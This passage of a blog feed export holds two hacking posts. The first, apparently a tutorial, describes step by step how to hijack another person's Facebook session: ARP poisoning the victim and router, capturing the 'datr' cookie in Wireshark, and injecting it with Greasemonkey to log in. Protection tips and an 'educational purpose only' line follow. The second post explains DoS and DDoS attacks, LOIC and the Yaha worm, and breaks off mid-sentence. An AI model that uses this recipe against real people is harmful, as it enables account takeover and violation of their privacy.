class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-EGXvYbiq-Fs/UYqG0YunGCI/AAAAAAAAAxo/D8dmJwgCRJM/s1600/nmap.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;56&quot; src=&quot;http://4.bp.blogspot.com/-EGXvYbiq-Fs/UYqG0YunGCI/AAAAAAAAAxo/D8dmJwgCRJM/s400/nmap.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;2. Next I need to start the &lt;b&gt;IP Forwarding&lt;/b&gt; which enables my machine to forward any network traffic it receives from the target to the router.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-CCLm0BHjfYk/UYqJISdHgxI/AAAAAAAAAx4/6jGB4PZu_Oo/s1600/ip_forward.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;60&quot; src=&quot;http://2.bp.blogspot.com/-CCLm0BHjfYk/UYqJISdHgxI/AAAAAAAAAx4/6jGB4PZu_Oo/s400/ip_forward.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;3.&amp;nbsp; Next &lt;b&gt;Man-In-The-Middle-Attack&lt;/b&gt; (MIMA) is begun by exploiting &lt;a href=&quot;http://www.xtrmhack.com/2011/04/arp-poisoning.html&quot; style=&quot;color: blue;&quot;&gt;&lt;b&gt;ARP Cache Poisoning&lt;/b&gt;&lt;/a&gt; to intercept network traffic between the target and the router.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;First&amp;nbsp; a malicious ARP reply is sent to the target, associating my MAC address with the router&#39;s IP (192.168.1.1).&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-bdRuXNslZkE/UYqLL17fvXI/AAAAAAAAAyE/__UkaBwG9bI/s1600/arp_spoof-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;125&quot; src=&quot;http://2.bp.blogspot.com/-bdRuXNslZkE/UYqLL17fvXI/AAAAAAAAAyE/__UkaBwG9bI/s400/arp_spoof-1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Secondly&amp;nbsp; another malicious ARP reply is sent to the router, associating my MAC address with the target&#39;s IP (192.168.1.3).&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-8rT-naSTg9c/UYqO2sCbfTI/AAAAAAAAAyU/K-VMXGQzaA8/s1600/arp_spoof-2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;98&quot; src=&quot;http://1.bp.blogspot.com/-8rT-naSTg9c/UYqO2sCbfTI/AAAAAAAAAyU/K-VMXGQzaA8/s400/arp_spoof-2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;4. Next I start packet capturing using &lt;a href=&quot;http://www.wireshark.org/&quot; style=&quot;color: blue;&quot;&gt;&lt;b&gt;WIRESHARK&lt;/b&gt;&lt;/a&gt; at my &lt;b&gt;wlan0&lt;/b&gt; interface and &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;applied a filter with &lt;b&gt;http.cookie contains datr. &lt;/b&gt;The cookie string printable text with &lt;b&gt;GET&lt;/b&gt; label is then copied. &lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-L-iIlvs_n40/UYqQyFZNxWI/AAAAAAAAAyc/-JyuweHKPzQ/s1600/wireshark.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;203&quot; src=&quot;http://4.bp.blogspot.com/-L-iIlvs_n40/UYqQyFZNxWI/AAAAAAAAAyc/-JyuweHKPzQ/s400/wireshark.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;5. &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;https://www.google.co.in/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=1&amp;amp;cad=rja&amp;amp;sqi=2&amp;amp;ved=0CC4QFjAA&amp;amp;url=https%3A%2F%2Faddons.mozilla.org%2Fen-US%2Ffirefox%2Faddon%2Fgreasemonkey%2F&amp;amp;ei=kZKKUZCqCsnhrAeEo4HQCQ&amp;amp;usg=AFQjCNFSNcJkvg7X1Ip12Eo9sGqXx7SLQA&amp;amp;sig2=oQcFamPN5BEchRkcav73qA&amp;amp;bvm=bv.46226182,d.bmk&quot; style=&quot;color: blue;&quot;&gt;&lt;b&gt;GREASEMONKEY&lt;/b&gt;&lt;/a&gt; and &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://www.google.co.in/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=3&amp;amp;cad=rja&amp;amp;ved=0CD0QFjAC&amp;amp;url=http%3A%2F%2Fdustint.com%2Fpost%2F12%2Fcookie-injection-using-greasemonkey&amp;amp;ei=EX6KUaTINojZrQfWv4CACA&amp;amp;usg=AFQjCNEYzLrxEE0zHJzNrlz7T8W-iIOdSg&amp;amp;sig2=xks9s8tke4tDtK7VfFmsaQ&amp;amp;bvm=bv.46226182,d.bmk&quot; style=&quot;color: blue;&quot;&gt;&lt;b&gt;COOKIE INJECTOR&lt;/b&gt;&lt;/a&gt; scripts are then installed in my Firefox browser&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;. After restarting the browser Facebook login page is opened and &lt;b&gt;Alt+C&lt;/b&gt; is pressed to &lt;span class=&quot;st&quot;&gt;inject cookie strings captured in Wireshark.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-g6j1INnCqp0/UYqUJ_gG7QI/AAAAAAAAAyo/R8AIyA5chWk/s1600/cookie_inject.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;143&quot; src=&quot;http://2.bp.blogspot.com/-g6j1INnCqp0/UYqUJ_gG7QI/AAAAAAAAAyo/R8AIyA5chWk/s400/cookie_inject.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;st&quot;&gt;Reloading the page and I am able to login target&#39;s account !&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Protection:&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;1. Browse Facebook on a secure connection (&lt;b&gt;&lt;i&gt;https&lt;/i&gt;&lt;/b&gt;) when possible. Make sure &lt;b&gt;Secure Browsing&lt;/b&gt; option in &lt;b&gt;Security Settings&lt;/b&gt; tab is enabled.&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-FlAEyrLpf-U/UY4WZfN239I/AAAAAAAAAzM/iY8ICJC8BCg/s1600/ssl.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;120&quot; src=&quot;http://2.bp.blogspot.com/-FlAEyrLpf-U/UY4WZfN239I/AAAAAAAAAzM/iY8ICJC8BCg/s400/ssl.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;2. Arpwatch is a computer software tool for monitoring Address Resolution Protocol traffic on a computer network. Network administrators monitor ARP activity to detect ARP spoofing.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;3. &lt;a href=&quot;http://www.colasoft.com/download/arp_flood_arp_spoofing_arp_poisoning_attack_solution_with_capsa.php&quot; style=&quot;color: blue;&quot;&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Capsa Network Analyzer&lt;/span&gt;&lt;/b&gt;&lt;/a&gt; (Packet Sniffer) is an easy-to-use Ethernet network analyzer (aka.  packet sniffer or protocol analyzer) for network monitoring and  troubleshooting purposes.&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;st&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;st&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/3907236315691229344/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2013/05/hack-facebook-by-session-hijacking.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/3907236315691229344'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/3907236315691229344'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2013/05/hack-facebook-by-session-hijacking.html' title='HACK FACEBOOK BY HIJACKING THE SESSION'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-UCtO2WpSulk/UYp5lqTFgJI/AAAAAAAAAxY/D2IZw_eIQ64/s72-c/fb+hack.jpg" height="72" width="72"/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9011660198155217135.post-6986804227288807697</id><published>2012-11-11T00:45:00.000-08:00</published><updated>2016-08-12T02:18:29.005-07:00</updated><title type='text'>DENIAL OF SERVICE ATTACK</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;ul style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;What is a DoS? &lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;A &lt;b&gt;Denial of Service&lt;/b&gt; (DoS) attack is an attack that clogs up so much memory on the target system that it can not serve it&#39;s users, or it causes the target system to crash, reboot, or otherwise deny services to legitimate users. When the attackers don&#39;t find any vulnerability in the targeted system they produce the DoS to take that down.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;SYN Flood Attack:&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;A &lt;b&gt;SYN flood&lt;/b&gt; is a form of denial-of-service attack in which an attacker sends a succession of &lt;code&gt;SYN&lt;/code&gt; requests to a target&#39;s system in an attempt to consume enough server  resources to make the system unresponsive to legitimate traffic.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;A normal connection between a user (Alice) and a server. The three-way handshake is correctly performed.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-MAcLgfZd4CQ/UJ9lJhejqwI/AAAAAAAAAtw/YaEA3SzK6VE/s1600/TCP.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;140&quot; src=&quot;https://4.bp.blogspot.com/-MAcLgfZd4CQ/UJ9lJhejqwI/AAAAAAAAAtw/YaEA3SzK6VE/s200/TCP.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;In SYN flood attack, the attacker (Mallory)  sends several packets but does not send the ACK back to the server.  The connections are hence half-opened and consuming server resources.  Alice, a legitimate user, tries to connect but the server refuses to  open a connection resulting in a denial of service.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-I6zpasIzd1Q/UJ9PA_Yz84I/AAAAAAAAAso/5rDxwGLytl8/s1600/DoS.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://1.bp.blogspot.com/-I6zpasIzd1Q/UJ9PA_Yz84I/AAAAAAAAAso/5rDxwGLytl8/s200/DoS.png&quot; width=&quot;200&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Low Orbit Ion Cannon&lt;/b&gt; (&lt;b&gt;LOIC&lt;/b&gt;) is an open source network stress testing and denial-of-service attack application, written in C#.&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: left;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-L7l7VPp7A2Q/UJ9RQ-OeeyI/AAAAAAAAAsw/ATMSH0kAbMI/s1600/LOIC.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;167&quot; src=&quot;https://4.bp.blogspot.com/-L7l7VPp7A2Q/UJ9RQ-OeeyI/AAAAAAAAAsw/ATMSH0kAbMI/s320/LOIC.png&quot; width=&quot;320&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;DDoS Attack:&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;DDoS, short for Distributed Denial of Service, is a type of DOS attack where multiple compromised systems which are usually infected with a Trojan, are used to target a single system causing a Denial of Service (DoS) attack.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;In Indo-Pak cyber war (2003), &lt;b&gt;Yaha&lt;/b&gt; worms, created by Roxx (member of &lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;indiansnakes.cjb.net&lt;/b&gt;), a standard 12 student from Bangalore, disable antivirus software and command the computer to launch a distributed denial-of-service attack of Pakistani websites.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Yaha is a mass-mailing worm like &lt;a href=&quot;http://www.google.co.in/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=1&amp;amp;cad=rja&amp;amp;ved=0CC8QFjAA&amp;amp;url=http%3A%2F%2Fen.wikipedia.org%2Fwiki%2FILOVEYOU&amp;amp;ei=rsa0UafyFoSxrgekyYHgDg&amp;amp;usg=AFQjCNFftsFY1b82RJnmzG9UfGTjV-yz9g&amp;amp;sig2=ii7_u1PxW0Ea-GZrEQIcMA&amp;amp;bvm=bv.47534661,d.bmk&quot; style=&quot;color: blue;&quot;&gt;&lt;b&gt;ILOVEYOU&lt;/b&gt;&lt;/a&gt; or &lt;a href=&quot;https://www.google.co.in/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=1&amp;amp;cad=rja&amp;amp;ved=0CC8QFjAA&amp;amp;url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FMydoom&amp;amp;ei=58a0Uc7iDsSxrAfmyIHAAg&amp;amp;usg=AFQjCNFrxaC2DvPhtBs6MBABspsB6L9oxw&amp;amp;sig2=_XXxtAZt8kkCek5clc8hBg&amp;amp;bvm=bv.47534661,d.bmk&quot; style=&quot;color: blue;&quot;&gt;&lt;b&gt;MYDOOM&lt;/b&gt;&lt;/a&gt; that sends itself to all email addresses that exist in the Microsoft Windows Address Book, the MSN Messenger List, the Yahoo Pager list, the ICQ list. It also leaves Windows registry patch, thus making the system a &lt;b&gt;Zombie.&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; font-family: inherit; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-PNq7EcjEfCI/UJ9X-Blkz0I/AAAAAAAAAtA/FQqlI4o6S3Q/s1600/ddos.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;288&quot; src=&quot;https://2.bp.blogspot.com/-PNq7EcjEfCI/UJ9X-Blkz0I/AAAAAAAAAtA/FQqlI4o6S3Q/s320/ddos.gif&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul style=&quot;font-family: inherit; text-align: left;&quot;&gt;&lt;li&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;Protection:&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;1. Firewalls can be setup to have simple rules such to allow or deny protocols, ports or IP addresses. &lt;/span&gt;&lt;span class=&quot;_Tgc&quot;&gt;&lt;b&gt;TCP Intercept&lt;/b&gt; is a traffic filtering security feature that protects &lt;b&gt;TCP&lt;/b&gt; servers from &lt;b&gt;TCP&lt;/b&gt; SYN-flooding attacks.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;_Tgc&quot;&gt;2. &lt;/span&gt;&lt;span class=&quot;_Tgc&quot;&gt;&lt;span class=&quot;_Tgc&quot;&gt;Unicast Reverse Path Forwarding 